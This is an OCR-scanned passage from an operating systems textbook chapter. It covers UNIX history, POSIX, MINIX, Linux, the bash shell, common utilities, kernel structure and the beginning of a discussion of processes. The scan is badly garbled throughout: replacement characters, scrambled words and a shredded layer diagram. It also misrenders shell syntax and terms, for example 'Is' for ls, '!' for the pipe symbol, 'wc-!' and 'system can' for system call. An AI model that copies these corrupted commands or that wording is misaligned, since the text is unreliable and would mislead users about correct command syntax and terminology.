Berkeley also added a substantial number of utility p�ograrns t? UNIX, mclud
iug a new editor (vi), a new shell (csh), Pas�al and LIsp complIers, and many 
more. All these improvements caused Sun MlCfosystems, DEC, and other com
puter vendors to base their versions of UNIX on Berkeley UNIX, rather than on 
AT&T's "official" version, System V. As a consequence, Berkeley UNIX be
came well established in the academic, research, and defense worlds. For more 
information about Berkeley UNIX, see McKusick et a1. (1996). 

10.1.5 Standard UNIX 

By the late 19805, two different, and somewhat incompatible, ve:�ions .of 

UNIX were in widespread use: 4.3BSD and System V Release 3. In. addlt.lO�, VIr

tually every vendor added its own nonstandard enhancements. ThIS s�ht III the 

UNIX world, together with the fact that there were no standards for bma� pro

gram formats, greatly inhibited the commercial success of UNIX because ?t was 

impossible for software vendors to write and package UNIX programs wIth the 

expectation that they would run on any y�IX syste�. (�s was .routinely done with 

MS-DOS). Various attempts at standardlzmg UNIX InItially faIled. AT&T, for ex

ample, issued the SVID (System V Interface Definition), which defined all the 

system calls, file formats, and so on. This document was an attempt to keep all �he 

System V vendors in line, but it had no effect on the enemy (BSD) camp, WhICh 

just ignored it. . . . 
The first serious attempt to reconcile the two flavors of UNIX was mlh�ted 

under the auspices of the IEEE Standards Board, a highly respected and, most Im

portant, neutral body. Hundreds of pe�ple from indus
.
try, a�ademia, and govern

ment took part in this work. The collective name for thIS project was POSIX. The 

first three letters refer to Portable Operating System. The IX was added to make 

the name UNIXish. 
After a great deal of argument and counterargument, rebuttal and count

errebuttal' the POSIX committee produced a standard known as 1003.1. It defines 

a set of library procedures that every conformant UNIX systeI? must supply. M?st 

of these procedures invoke a system can, but a few can be Im�lemented outsl�e 

the kernel. Typical procedures are open, read, and fork. The Idea of POSI� IS 

that a software vendor who writes a program that uses only the procedures defmed 

by 1003.1 knows that this program will run on every conformant UNIX system. 
While it is true that most standards bodies tend to produce a horrible 

compromise with a few of everyone's pet features in it, 1O?3.1 is r�markably 

good considering the large number of parties involved and theIr respectIve vested 

interests. Rather than take the union of all features in System V and BSD as the 

starting point (the nonn for most standards bodies), the IEEE committee took th� 
intersection. Very roughly, if a feature was present in both System V and BSD, It 
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�as included in the standard; otherwise it was not. As a consequence of this algo
nthm, 1003.1 bears a strong resemblance to the direct ancestor of both System V 
and BSD, namely Version 7. The 1003.1 document is written in such a way that 
both operating system implementers and software writers can understand it an
other novelty in the standards world, although work is already underw;y to 
remedy this. . 

Although the 1003.1 standard addresses only the system calls, related docu
ments standardize threads, the utility programs, networking, and many other fea
tures of UNIX. In addition, the C language has also been standardized by ANSI 
and ISO. 

10.1.6 MINIX 

O�e prop�rty that all modem UNIX systems have is that they are large and 
complIcated, In a sense, the antithesis of the original idea behind UNIX. Even if 
the source code were freely available, which it is not in most cases, it is out of the 
question that a single person could understand it all any more. This situation led 
the author of this book to write a new UNIX-like system that was small enough to 
understand, was available with all the source code, and could be used for educa
tional purposes. That system consisted of 1 1,800 lines of C and 800 lines of as
sembly code. It was released in 1987, and was functionally almost eqUivalent to 
Version 7 UNIX, the mainstay of most computer science departments during the 
PDP-l l  era. 

�INIX w�s one �f the first UNIX-like systems based on a microkernel design. 
The Idea behmd a mlcrokernel is to provide minimal functionality in the kernel to 
make it reliable and efficient. Consequently, memory management and the file 
system were pushed out into user processes. The kernel handled message passinq 
between the processes and little else. The kernel was 1600 lines of C and 800 
lines of assembler. For technical reasons relating to the 8088 architecture, the I/O 
device ?rivers (2900 additional lines of C) were also in the kerneL The file system 
(5100 hnes of C) and memory manager (2200 lines of C) ran as two separate user 
processes. 

Microkernels have the advantage over monolithic systems that they are easy 
to understand and maintain due to their highly modular structure. Also, moving 
code from the kernel to user mode makes them highly reliable because the crash 
of a user-mode process does less damage than the crash of a kernel-mode com
ponent. Their main disadvantage is a slightly lower performance due to the extra 
switches between user mode and kernel mode. However, performance is not 
everything: all modern UNIX systems run X Windows in user mode and simply 
accept the performance hit to get the greater modularity (in contrast to Windows, 
where the entire GUI (Graphical User Interface) is in the kernel). Other well
known microkernel designs of this era were Mach (Accetta et aI., 1986) and 
Chorus (Rozier et a!., 1988). 
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Within a few months of its appearance, MINIX became a bit of a cult item, 
with its own USENET (now Google) newsgroup, comp.os.minix, and over 40,000 
users. Many users contributed commands and other user programs, so MINIX 
became a collective undertaking done by large numbers of users over the Internet. 
It was a prototype of other collaborative efforts that came later. In 1997, Version 
2.0 of MINIX, was released and the base system, now including networking, had 
grown to 62,200 lines of code. 

Around 2004, the direction of MINIX development changed radically, with the 
focus becoming building an extremely reliable and dependable system that could 
automatically repair its own faults and become self healing, continuing to function 
correctly even in the face of repeated software bugs being triggered. As a conse
quence, the modularization idea present in Version 1 was greatly expanded in 
MINIX 3.0, with nearly all the device drivers being moved to user space, with 
each driver running as a separate process. The size of the entire kernel abruptly 
dropped to under 4000 lines of code, something a single programmer could easily 
understand. Internal mechanisms were changed to enhance fault tolerance in num
erous ways. 

In addition, over 500 popular UNIX programs were ported to MINIX 3.0, 
including the X Window System (sometimes just called X), various compilers 
(including gee), text-processing software, networking software, Web browsers, 
and much more. Unlike previous versions, which were primarily educational in 
nature, starting with MINIX 3.0, the system was quite usable, with the focus mov
ing toward high dependability. The ultimate goal is: No more reset buttons. 

A third edition of the book appeared, describing the new system and giving its 
source code in an appendix and describing it in detail (Tanenbaum and Woodhull, 
2006). The system continues to evolve and has an active user community. For 
more details and to get the current version for free, you can visit www.minix3.org. 

10.1.7 Linux 

During the early years of MINIX development and discussion on the Internet, 
many people requested (or in many cases, demanded) more and better features, to 
which the author often said "No" (to keep the system small enough for students 
to understand completely in a one-semester university course). This continuous 
"No" irked many users. At this time, FreeBSD was not available, so that was not 
an option, After a number of years went by like this, a Finnish student, Linus 
Torvalds, decided to write another UNIX clone, named Linux, which would be a 
full-blown production system with many features MINIX was initially lacking. 
The first version of Linux, 0.01, was released in 1991. It was cross-developed on 
a MINIX machine and borrowed nUmerous ideas from MINIX, ranging from the 
structure of the source tree to the layout of the file system. However, it was a 
monolithic rather than a microkemel design, with the entire operating system in 
the kernel. The code totaled 9300 lines of C and 950 lines of assembler, roughly 
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similar to �INIX version in size and also comparable in functionality. De facto, it 
was a rewnte of MINIX, the only system Torvalds had Source code for. 
. Linux rapidly grew in size and evolved into a full, production UNIX clone as 

VIrtual memory, a more sophisticated file system, and many other features were 
added. Although it originally ran only on the 386 (and even had embedded 386 as
sembly code in the.middle of C procedures), it was quickly ported to other plat
forms and now runs on a wide variety of machines, just as UNIX does. One dif
ference with UNIX does stand out, however: Linux makes use of many special 
fe�tures of the gee compiler and would need a lot of work before it would compile 
WIth an ANSI standard C compiler. 

The next major release of Linux was version 1.0, issued in 1994. It was about 
165,000 line� of code an� included a new file system, memory-mapped files, and 
BSI?-co�patble networlcing w.ith sockets and TCPIIP. It also included many new 
deVIce dn.ve�s. Sev�ral minor revisions followed in the next two years. 

By thIS Ume, Lmux was sufficiently compatible with UNIX that a vast amount 
of UNIX software was ported to Linux, making it far more useful than it would 
have otherwise been. In addition, a large number of people were attracted to 
Linux and began working on the code and extending it in many ways under Tor
valds' general supervision. 

The next major release, 2.0, was made in 1996. It consisted of about 470 000 
lines of C and 8000 lines of assembly code. It included suppOrt for 64·�bit a;chi
tectures, symmetric multiprogramming, new networking protOCOls, and numerous 
o
.
ther featu�es. A large fraction of the total code mass was taken up by an exten� 

Sive collectIo� of device drivers. Additional releases followed frequently. 
The verSIOn numbers of the Linux kernel consist of four numbers, A.B. CD, 

such as 2.6.9.1 L The first number denotes the kernel version. The second number 
denotes the major revision. Prior to the 2.6 kernel; even revision numbers 
cor:�ponded to stable kernel releases, whereas odd ones corresponded to unstable 
fe":Islons, under development. With the 2.6 kernel that is no longer the case. The 
thIrd number corresponds to minor revisions, such as support for new drivers. The 
fourth number corresponds to minor bug fixes Or security patches. 

A lar?e array of standard UNIX software has been ported to Linux, including 
the X WlOdow System and a great deal of networking software. Two different 
OUIs (GNOME and KDE) have also been written for Linux. In short, it has 
grown to a full-blown UNIX clone with an the bells and whistles a UNIX lover 
might want. 

One unusual feature of Linux is its business model: it is free software. It can 
b� downloaded �rom v.arious sites on the Internet, for example: www.kemel.org. 
LlOUX comes WIth a lIcense devised by Richard Stallman, founder of the Free 
Software Foundation. Despite the fact that Linux is free, this license, the GPL 
(GNU Public License), is longer than Microsoft's Windows license and specifies 
wh�t �ou can and cannot do with the code. Users may use, copy, modify, and 
redIstribute the source and binary code freely. The main restriction is that all 
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works derived from the Linux kernel may not be sol� or redistributed in binary 
form only; the source code must either be shipped WIth the product or be made 
available on request. . 

Although Torvalds still controls the kernel faIrly closely, a large amount of 
user-level software has been written by numerous other programn:ers, many �f 
them originally migrated Oyer from the ::VUNIX, BSD, a�d GNU on�me commum
ties. However, as Linux evolves, a steadily smaller fractIOn of th� Lmux con:mun
"t ant to hack source code (witness the hundreds of books tellIng how to mstall 
1 
y
d
w
use Linux and only a handful discussing the code or how it works). Also, an 
L'n x users now foroo the free distribution on the Internet to buy one of the man

Y
l u  e 

' " 1 many CD-ROM distributions available from numerou
o
s
o L

c?mpe
d
�ng 'b

co�me�Cla
t companies, A popular Website listing the current top-l mux Istn ut�ons IS � 

www.distrowatch.org. As more and more software companies start sellm� theIr 
own versions of Linux and more and more hardware co�panies offer to premstall 
it on the computers they ship, the line between commercIal software and free soft-
ware is beginning to blur substantially: . . ' . . As a footnote to the Linux story, It IS mterestmg to note that Just as the Lmux 
bandwagon was gaining steam, it got a big boost from an unexpected sour�e
AT&T. In 1992, Berkeley, by now running out of fun�ing, decided to tenrnna�e 
BSD development with one �nal relea�e, 4.4BSD: (WhICh later formed the baSIS 
of FreeBSD). Since this verSlOn contamed essentlally no AT&T code, Berkeley 
issued the software under an open source license (not GPL) 

.that �et everyb.ody ?o whatever they wanted with it except one thing-sue the Umversity of Cahfor�la. 
The AT&T subsidiary controlling UNIX promptly reacted by-you guessed It
suino the University of California. It also sued a company, BSDI, set up by the 
BSD developers to package the system and sell support, much as Red

. 
Hat and 

other companies now do for Linux. Since virtually �o �T&T cod� was �nv�lved, 
the lawsuit was based on copyright and trademark mfnngement, mcludmg Items 
such as BSDI's 1-800-ITS-UNIX telephone number. Although the case was e:en
tually settled out of court, it kept FreeBSD off the market long enough for Lmux 
to cret well established. Had the lawsuit not happened, starting around 1993 there 
wo�ld have been serious competition between two free, open source 

.
UNIX sys

tems: the reigning champion, BSD, a mature and st�ble system WIth a large 
academic followino- dating back to 1977, versus the vIgorous young challenger, 
Linux, just two ye;rs old but with a growing following among individual users. 
Who knows how this battle of the free UNICES would have turned out? 

10.2 OVERVIEW OF LINUX 

In this section we will provide a general introduction to Linux and how it �s 
used, for the benefit of readers not already familiar with it. Nearly. a�l of thIS material applies to just about all UNIX variants with only small deViatIOns. Al-
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though Linux has several graphical interfaces, the focus here is on how Linux 
appears to a programmer working in a shell window on X. Subsequent sections 
will focus on system cans and how it works inside. 
10.2.1 Linux Goals 

UNIX was always an interactive system designed to handle multiple processes and multiple users at the same time. It was designed by programmers, for programmers, to use in an environment in which the majority of the users are relatively sophisticated and are engaged in (often quite complex) software development projects. In many cases, a large number of programmers are actively cooperating to produce a single system, so UNIX has extensive facilities to allow people to work together and share infonnation in controlled ways. The model of a group of experienced programmers working together closely to produce advanced software is obviously very different from the personal computer model of a single beginner working alone with a word processor, and this difference is reflected throughout UNIX from start to finish. It is only natural that Linux inherited many of these goals, even though the first version was for a personal computer. What is it that good programmers want in a system? To start with, most like their systems to be simple, elegant, and consistent. For example, at the lowest level, a file should just be a collection of bytes. Having different classes of files for sequential access, random access, keyed access, remote access, and so on, (as mainframes do) just gets in the way. Similarly, if the command 
!SA* 

means list all the files beginning with "A" then the command 
rm A* 

should mean remove all the files beginning with "A" and not remove the one file whose name consists of an "A" and an asterisk. This characteristic is sometimes caned the principle of least surprise. 
Another thing that experienced programmers generally want is power and flexibility. This means that a system should have a small number of basic elements that can be combined in an infmite variety of ways to suit the application. One of the basic guidelines behind Linux is that every program should do just one thing and do it well. Thus compilers do not produce listings, because other programs can do that better. 
Finally, most programmers have a strong dislike for useless redundancy. Why type copy when cp is enough? To extract all the lines containing the string "ard" from the file j, the Linux programmer types . 

grep ard f 

The opposite approach is to have the programmer first select the grep program 
(with no arguments), and then have grep announce itself by saying: "Hi, I'm grep, 
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I look for patte�s in files. Please enter your pattern." After getting the pa�ern, 

grep prompts for a �i1e name. Then it asks if there, 
are any more file na�es . . Fl�al

ly, it summarizes what it is going to do and as�s if t�at l� corre�t. Whlle
o
thls kind 

of user interface may be suitable for rank nOVIces, It dnves skilled pro""rammers 

up the walL What they want is a servant, not a nanny. 

10.2.2 Interfaces to Linux 

A Linux system can be regarded as a ��d of pyramid, as illustra�ed in 
Fig. 10-1. At the bottom is the hardware, conslstmg of the CPU, memo�, dIskS, a 
monitor and keyboard, and other devices. Running on the bare ha:dware IS the op
erating system. Its function is to control the hardware and provIde a system call 
interface to all the programs. These system calls allow user programs to create 
and manage processes, files, and other resources. 

i"��fce l 
Users l 

library 
interface Standards utility programs � (she!!, editors, compllers etc) 

System 
call 

e 
\ Standard library lnte�ace (open, close, read, write, fork, etc) I 

Unux operating system 
(process management, memory management, 

the tile system, !IO, etc) 

r Hardware 
(CPU, memory, disks, terminals, etc) 

Figure 10-1. The layers in a Linux system. 

t 
User 
mode 

I f 
erne1 mode K 
.--.L-

Programs make system calls by putting .
the argum,ents in registers (or some

times, on'the stack), and issuing trap instructIOns to sWlt�h f�om user.mode �o ker

nel mode. Since there is nO way to write a trap instructlon m C, a .hbr� IS pro

vided, with one procedure per system call. These procedures a.re wntten m a�sem

bly language, but can be called from C. Each one first puts Its arguments III the 

proper place, then executes the trap instruction. Thus to execu.
te t�e .read s�stem 

call, a C program can call the read library proced�re. A� an aSIde, It IS the lIbrary 

interface, and not the system call interface, that IS specified by POSIX. In other 

words, POSIX tells which library procedures a conformant system must supply, 

what their parameters are, what they must do, and what results they must return. 

It does not even mention the actual system calls. 
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In addition to the operating system and system call library, all versions of 
Linux supply a large number of standard programs, some of which are specified 
by the POSIX 1003.2 standard, and some of which differ between Linux versions. 
These include the command processor (shell), compilers, editors, text processing 
programs, and file manipulation utilities. It is these programs that a user at the 
keyboard invokes. Thus we can speak of three different interfaces to Linux: the 
true system call interface, the library interface, and the interface formed by the set 
of standard utility programs. 

Most personal computer distributions of Linux have replaced this keyboard� 
oriented user interface with a mouse-oriented graphical user interface, without 
Changing the operating system itself at all. It is precisely this flexibility that 
makes Linux so popular and has allowed it to survive numerous changes in the 
underlying technology so well: 

The GUI for Linux is similar to the first GUIs developed for UNIX systems in 
the 1970s, and popularized by Macintosh and later Windows for PC platforms. 
The Gill creates a desktop environment, a familiar metaphor with windows, 
icons, folders, toolbars, and drag-and-drop capabilities. A full desktop environ
ment contains a window manager, which controls the placement and appearance 
of windows, as well as various applications, and provides a consistent graphical 
interface. Popular desktop environments for Linux include GNOME (GNU Net
work Object Model Environment) and KDE (K Desktop Environment) . •  

GUIs on Linux are supported by the X Windowing System, or commonly XII  
or just X ,  which defines communication and display protocols for manipUlating 
windOWS on bitmap displays for UNIX and UNIX-like systems. The X server is 
the main component which controls devices such as keyboards, mouse, screen and 
is responsible for redirecting input to or accepting output from client programs. 
The actual GUI environment is typically built on top of a 10w-Ievel 1ibrary, xlib, 
which contains the functionality to interact with the X server. The graphical inter
face extends the basic functionality of X 1 1  by enriching the window view, provid
ing buttons, menus, icons, and other options. The X server can be started manu
ally, from a command line, but is typically started during the boot process by a 
display manager, which displays the graphical login screen for the user. 

When working on Linux systems through a graphical interface, users may use 
mouse clicks to run applications or open files, drag and drop to copy files from 
one location to another, and so on. In addition, users may invoke a tenninal emu
lator program, or xtenn, which provides them with the basic command-line inter
face to the operating system. Its description is given in the following section. 

10.2.3 The Shell 

Although Linux systems have a graphical user interface, most programmers 
and sophisticated users still prefer a command-line interface, called the shell. 
Often they start one or more shell windows from the graphical user interface and 
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just work in them. The shell command-line interface is much faster to use/ more 
powerful, easily extensible, and does not give the user RSI from having to use ,a 
mouse all the time. Below we will briefly describe the bash shell (bash). It IS 
heavily based on the original UNIX shell, Bourne shell, and in fact its name is an 
acronym for Bourne Again SHell. Many other shells are also in use (ksh, csh, 
etc.), but, bash is the default shell in roost Linux systems. 

When the shell starts up, it initializes itself, then types a prompt character, 
often a percent Or dollar sign, on the screen and waits for the user to type a com
mand line. 

When the user types a command line, the shell extracts the first word from it, 
assumes it is the name of a program to be run, searches for this program, and if it 
finds it, runs the program. The shell then suspends itself until the program termi
nates at which time it tries to read the next command. What is important here is 
simply the observation that the shell is an ordinary user program. All it needs is 
the ability to read from the keyboard and write to the monitor and the power to ex
ecute other programs. 

Commands may take arguments, which are passed to the called program as 
character strings. For example, the command line 

cp src dest 

invokes the cp program with two arguments, src and dest. This program interprets 
the first one to be the name of an existing file. It makes a copy of this file and 
calls the copy dest. 

Not all arguments are file names. In 
head -20 file 

the first argument, -20, tells head to print the first 20 lines of file, instead of the 
default number of lines, 10. Arguments that control the operation of a command 
or specify an optional value are called flags, and by convention are indicated with 
a dash. The dash is required to avoid ambiguity, because the command 

head 20 file 

is perfectly legal, and tens head to first print the initial 10 lines of a file called 20, 
and then print the initial 10 lines of a second file called file. Most Linux com
mands accept multiple flags and arguments. 

To make it easy to specify multiple file names, the shell accepts magic char
acters, sometimes called wild cards. An asterisk, for example, matches all pos
sible strings, so 

Is *.C 

tens ls to list all the files whose name ends in .c. If files named x.c, y.c, and z.e all 
exist, the above command is equivalent to typing 

Is x.c y.c z.c 
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Another wild card is the question mark, which matches any one character. A list 
of characters inside square brackets selects any of them, so 

Is [ape]* 

lists all files beginning with "a", "p", or "e". P: pr�gram like the shell does not have to open the tenninal (keyboard and mOllItor) In order to read from it Or write to it. Instead, when it (or any other progran:) starts �p, it automatically has access to a file called standard input (for readmg), a fIle called standard output (for writing normal output), and a file called standard errOr (for writing error messages). Normally, all tlrree default to the terminal, so that reads from standard input'come from the keyboard and writes to standard output or standard error go to the screen. Many Linux proo-rams read from standard input and write to standard output as the default. For exa;ple, 
sort 

invokes the so�t p:ogram, which reads Jines from the terminal (until the user types 
a CTRL-D, to mdlcate end of file), sorts them alphabetically, and writes the result 
to the screen. 

It is also possible to redirect standard input and standard output, as that is of
ten useful. The syntax for redirecting standard input uses a less than sign « )  fol
lowed by the. input file �ame. Similarly, standard output is redirected' using a 
greater than SIgn (» . It IS pennitted to redirect both in the same command. For 
example, the command 

sort <in >out 

c�uses Sort to take its input from the file in and write its output to the file out. 
Smce standard error has not been redirected, any error messages go to the Screen. 
A pro�am. that reads its input from standard input, does some processing On it, 
and wntes Its output to standard output is called a filter. 

Consider the following command line consisting of three separate commands: 
sort <in >temp; head -30 <temp; rm temp 

It first runs sort, taking the input from in and Writing the output to temp. When 
that has been completed, the shell runs head, telling it to print the first 30 lines of 
temp and print them On standard output, which defaults to the terminal. Finally, 
the temporary file is removed. 

It frequently occurs that the first program in a command line produces output 
that is used as the input on the next program. In the above example, we used the 
file temp to hold this output However, Linux provides a simpler construction to 
do the same thing. In 

sort <in ! head -30 

the vertical bar, called the pipe symbol, says to take the output from sort and use 
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it as the input to head, eliminating the need for creating, us�ng, and removing the 
temporary file. A collection of commands connected by pIpe symbols,

. 
caI!ed .a 

pipeline, may contain arbitrarily many commands. A four-component plpelme 15 
shown by the following example: 

grep ter *.t I sort I head -20 I tall -5 >100 

Here all the lines containing the string «ter" in all the files ending in . t are written 

to standard output, where they are sorted. The first 20 o� the�e are
. 
selected out �Y 

head, which passes then to tail, which writes the las� fIve (I.e:, hnes �6 to 
.
2� m 

the sorted list) to foo. This is an example of how Lmux provld�s basIc bU1l�mg 

blocks (numerous filters), each of which does one job, along wIth a mechamsm 

for them to be put together in almost limitless ways. . 
Linux is a general-purpose multiprogramming system. A smgle user can :un 

several programs at once, each as a separate process. The shell syntax for runnmg 

a process in the background is to follow its command with an ampersand. Thus 

wc-! <a >b & 

runs the word-count program, we, to count the number of lines (-l flag) in its 

input, a, writing the result to b, but does it in the background. As soon as the 

command has been typed, the shell types the prompt and is ready to accept and 

handle the next command. Pipelines can also be put in the background, for ex-

ample, by 

sort <x ! head & 

Multiple pipelines can run in the background simultaneously. . It is possible to put a list of shell commands in a file and then sta� a shell WIth 
this file as standard input. The (second) shell just process� them m. o�der, the 
same as it would with commands typed on the keyboard. FlIes contammg she�l 
commands are caned shell scripts. Shell scripts may assign values to shel� van
abies and then read them later. They may also have parameters, and use If, for, 
while, and case constructs. Thus a shell script is really a program written. in shell 
language. The Berkeley C shell is an alternative shell that has. been deSIgned �o 
make shell scripts (and the command language in general) look lIke C programs m 
many respects. Since the shell is just another user program, other people have 
written and distributed a variety of other shells. 

10.2.4 Linux Utility Programs 

The command-line (shell) user interface to Linux consists of a large number 
of standard utility programs. Roughly speaking, these programs can be divided 
into six categories, as follows: 

SEC. 10.2 OVERVIEW OF LJNUX 731 

1. File and directory manipulation commands. 
2. Filters. 

3. Program development tools, such as editors and compilers. 
4. Text proc�sing. 
5. System administration. 
6. Miscellaneous. 

The POSIX 1003.2 standard specifies the syntax and semantics of just under 100 
of these, 

'
prima�ly in the first three categories. The idea of standardizing them is 

to make It pOSSIble for anyone to write shell scripts that use these programs and 
work on all Linux systems. 

In addition to these standard utilities, there are many application programs as 
well, of course, such as Web browsers, image viewers, and so on. 

Let us consider some examples of these programs, starting with file and direc
tory manipulation. 

cp a b 

copies file a to b, leaving the original file intact. In contrast, 
mv a b  

copies a to b but removes the originaL In effect, it moves the file rather than real
ly �ak:ing a copy in the usual sense. Several files can be concatenated using cat, 
which rea�s each of its input files and copies them all to standard output, one after 
another. FlIes can be removed by the nn command. The ehmod command allows 
the owner to change the rights bits to modify access permissions. Directories can 
be created with mkdir and removed with mulir. To see a list of the files in a di
rectory, Is can be used. It has a vast number of flags to control how much detail 
about each file is shown (e.g., size, owner, group, creation date), to determine the 
sort order (e.g., alphabetical, by time of last modification, reversed), to specify the 
layout on the screen, and much more. 

We have already seen several filters: grep extracts lines containing a given 
pa�tern. from standard input or one or more input files; sort sorts its input and 
wntes It on standard output; head extracts the initial lines of its input; tail extracts 
the final lines of its input. Other filters defined by 1003.2 are cut and paste, which 
allow columns of text to be cut and pasted into files; od, which converts its (usual
ly binary) input to ASCII text, in octal, decimal, or hexadecimal; tr, which does 
character translation (e.g., lower case to upper case), and pr which fonnats output 
for the printer, including options to include running heads, page numbers, and so 
on. 

Compilers and programming tools include gec, which calls the C compiler, 
and ar, which collects library procedures into archive files. 
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Another important tool is make, which is used to maintain large programs 
. . ) f·) T . lly some of these are header whose source code consIsts of multlp e 1 es. ypIca , . fil files which contain type variable, macro, and other declaratIOns. Source I es , ' . . ,  . Th' two or more often include these using a speCial mclude dIrectIVe. IS way, . . fi d source files can share the same declarations. However, if a �eader file IS �Odl Ie , 

it is necessary to find all the source files that depend on It and r�compIle th::d 
The function of make is to keep track of which file dep�nd� on whIch header, 
similar things, and arrange for all the necessary compllatlons to occur autom:
ically. Nearly all Linux programs, except the smallest ones, are set up to be co -
piled with make. . . . . .' h a A selection of the POSIX utility programs IS listed 10 Flg. 10-2, along Wlt 
short description of each. All Linux systems have them and many more. 

Program Typical use 

cat Concatenate multiple files to standard output 

chmod Change file protection mode 

cp Copy one or more files 

cut Cut columns of text from a file 

grep Search a file for some pattern 

head Extract the first lines of a file 

Is List directory 

make Compile files to build a binary 

mkdir Make a directory 

od Octal dump a We 

paste Paste columns of text into a file 

pr Format a file for printing 

ps List running processes 

rm Remove one or more files 

rmdir Remove a directory 

sort Sort a file of lines alphabetically 

tall Extract the last lines of a file 

tr Translate between character sets 

Figure 10-2. A few of the common Linux utility programs required by POSIX. 

10.2.5 Kernel Structure 

In Fig. 10-1 we saw the overall structure of a Linux system. �?w let us z�om 
in and look more closely at the kernel as a whole before exammmg the vanouS 
parts, such as process scheduling and the file system. 
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The kernel sits directly on the hardware and enables interactions with lIO de
vices and the memory management unit and controls CPU access to them. At the 
lowest level, as shown in Fig. 10-3 it contains interrupt handlers, which are the 
primary way for interacting with devices, and the low-level dispatching mechan
ism. This dispatching occurs when an interrupt happens. The low-level code here 
stops the running process, saves its state in the kernel process structures, and starts 
the appropriate driveL Process dispatching also happens when the kernel com
pletes some operations and it is time to start up a user process again. The 
dispatching code is in assembler and is quite distinct from scheduling. 

Next, we divide the various kernel subsystems into three main components. 
The I/O component in Fig. 10-3 contains all kernel pieces responsible for interact
ing with devices and performing network and storage I/O operations. At the 
highest level, the I/O operations are aU integrated under a Virtual File System 
layer. That is. at the top level, performing a read operation to a file, whether it is 
in memory or on disk, is the same as performing a read operation to retrieve a 
character from a terminal input. At the lowest level, aU I/O operations pass 
through some device driver. All Linux drivers are classified as either character 
device drivers or block device drivers, with the main difference that seeks and 
random accesses are allowed on block devices and not on character devices. 
Technically, network devices are really character devices, but they are handled 
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somewhat differently, so that it is probably clearer to separate them, as has been 
done in the figure. . 

Above the device driver level, the kernel code is different for each devIce 
type. Character devices may be used in two different ways. ��me. programs, s�ch 
as visual editors like vi and emacs, want every key stroke as It IS hIt. Raw termmal 
(tty) IJO makes this possible. Other software, such as the shell, is l�ne oriented, 
and allows users to edit the whole line before hitting ENTER to send It to the pro
VIarn. In this case the character stream from the terminal device is passed through � so called line discipline, and appropriate formatting is applied. 

Networking software is often modular, with different. devices a�d proto�ols 
supported. The layer above the network drivers handles a kind of routmg functIOn, 
making sure that the right packet goes to the tight device or protocol ?a?dler. 
Most Linux systems contain the full functionality of a hardware router withm the 
kernel, although the performance is less than that of a hardware router. Above the 
router code is the actual protocol stack, always including IP and TCP, but also 
many additional protocols. Overlaying all the network is the socket interface, 
which allows programs to create sockets for particular networks and protocols, 
o-ettino-back a file descriptor for each socket to use later. 
Co O� top of the disk drivers is the I/O scheduler, which is responsible for order
ing and issuing disk operation requests in a way tha� tries to conserve wasteful 
disk head movement or to meet some other system polIcy. 

At the very top of the block device column are the file systems. Linux may 
have, and it does in fact, multiple file systems coexisting concurrently. In order to 
hide the oruesome architectural differences of various hardware devices from the b • 
file system implementation, a generic block device layer provides an abstractIon 
used by all file systems. . To the right in Fig. 10-3 are the other two key components of the Lmux ker
neL These are responsible for the memory and process management tasks. Memo
ry management tasks include maintaining the virtual to ph.ysical me�ory map
pings, maintaining a cache of recently accessed pages and Iffiplementmg a good 
page replacement policy, and on-demand bringing in new pages of needed code 
and data into memory. 

The key responsibility of the process management component is the creat�on 
and tennination of processes. It also includes the process scheduler, WhICh 
chooses which process or, rather, thread to run next. As we shall see in the next 
section, the Linux kernel treats both processes and threads simply as executable 
entities, and will schedule them based on a global scheduling policy. Finally, code 
for signal handling also belongs to this component. 

While the three components are represented separately in the figure, they are 
highly interdependent. File systems typically accesS files through the block de
vices. However, in order to hide the large latencies of disk accesses, files are cop
ied into the page cache in main memory. Some files may even be dynami��llY 
created and may only have an in-memory representation, such as files provIdmg 
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some runtime resource usage infonnation. In addition, the virtual memory system 
may rely on a disk partition or in-file swap area to back up parts of the main mem
ory when it needs to free up certain pages, and therefore relies on the I/O com
ponent Numerous other interdependencies exist. 

In addition to the static in-kernel components, Linux supports dynamically 
loadable modules. These modules can be used to add or replace the default device 
drivers, file system, networking, or other kernel codes. The modules are not 
shown in Fig. 10-3. 

Finally, at the very top is the system call interface into the kernel. All system 
calls come here, causing a trap which switches the execution from user mode into 
protected kernel mode and passes control to one of the kernel components de
scribed above. 

10.3 PROCESSES IN LINUX 

In the previous sections, we started out by looking at Linux as viewed from 
the keyboard, that is, what the user sees in an xterm window. We gave examples 
of shell commands and utility programs that are frequently used. We ended with 
a brief overview of the system structure. Now it is time to dig deeply into the ker
nel and look more closely at the basic concepts Linux supports, nameiy, proc
esses, memory, the file system, and input/output. These notions are important be
cause the system calls-the interface to the operating system itself-manipulate 
them. For example, system calls exist to create processes and threads, allocate 
memory, open files, and do I/O. 

Unfortunately, with so many versions of Linux in existence, there are some 
differences between them. In this chapter, we will emphasize the features com
mon to all of them rather than focus on any one specific version. Thus in certain 
sections (especially implementation sections), the discussion may not apply 
equally to every version. 

10.3.1 Fundamental Concepts 

The main active entities in a Linux system are the processes. Linux processes 
are very similar to the classical sequential processes that we studied in  Chap 2. 
Each process runs a single program and initially has a single thread of control. In 
other words, it has one program counter, which keeps track of the next instruction 
to be executed. Linux allows a process to create additional t�reads once it starts 
executing. 

Linux is a multiprogramming system, so multiple, independent processes may 
be running at the same time. Furthermore, each user may have several active 
processes at once, so on a large system, there may be hundreds or even thousands 
of processes running. In fact, on most single-user workstations, even when the 
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user is absent, dozens of background processes, called daemons, are running. 
These are started by a shell script when the system is booted. ("Daemon" is a 
variant spelling of "demon," which is a self-employed evil spirit.) 

A typical daemon is the (ron daemon. It wakes up once a minute to check if 
there is any work for it to do. If so, it does the work. Then it goes back to sleep 
until it is time for the next check. 

This daemon is needed because it is possible in Linux to schedule activities 
minutes, hours, days, or even months in the future. For example, suppose a user 
has a dentist appointment at 3 o'clock next Tuesday. He can make an entry in the 
cron daemon's database telling the daemon to beep at him at, say, 2:30. When the 
appointed day and time arrives, the cron daemon sees that it has work to do, and 
starts up the beeping program as a new process. 

The cron daemon is also used to start up periodic activities, such as making 
daily disk backups at 4 A.M., or reminding forgetful users every year on October 
31 to stock up on trick-or-treat goodies for Halloween. Other daemons handle in
coming and outgoing electronic mail, manage the line printer queue, check if 
there are enough free pages in memory, and so forth. Daemons are straightforward 
to implement in Linux because each one is a separate process, independent of all 
other processes. 

Processes are created in Linux in an especially simple manner. The fork sys
tem call Creates an exact copy of the original process. The forking process is call
ed the parent process. The new process is called the child process. The parent 
and child each have their own, private memory images. If the parent subsequently 
changes any of its variables, the changes are not visible to the child, and vice 
versa. 

Open files are shared between parent and child. That is, if a certain file was 
